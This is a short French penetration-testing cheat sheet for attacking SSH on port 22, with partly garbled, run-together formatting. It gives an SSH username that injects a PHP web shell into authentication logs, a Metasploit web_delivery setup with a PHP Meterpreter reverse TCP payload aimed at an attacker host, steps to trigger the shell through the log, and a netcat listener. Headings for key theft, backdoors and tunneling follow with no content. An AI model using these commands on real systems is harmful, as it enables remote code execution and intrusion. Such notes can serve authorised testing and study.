SSH - 22
1. Payload Basiques SSH
ssh ‘<?php system($_GET[‘c’]); ?>’@<ip> #permet d’exécuter une commandemsfconsole
use exploit/multi/script/web_delivery
set target 1
set payload php/meterpreter/reverse_tcp
set lhost <IP>
exploit A. Accéder aux logs pour exécuter votre shell php
(var/auth/logs)B. Vous pouvez ensuite exécuter directement votre commande
(var/auth/logs&c=<votre commande> C. Setup un Listener
nc -lnvp <PORT>2. Exploit SSH en volant la PGP KEY
3. Création d’une Backdoor
4. SSH tunneling
Last updated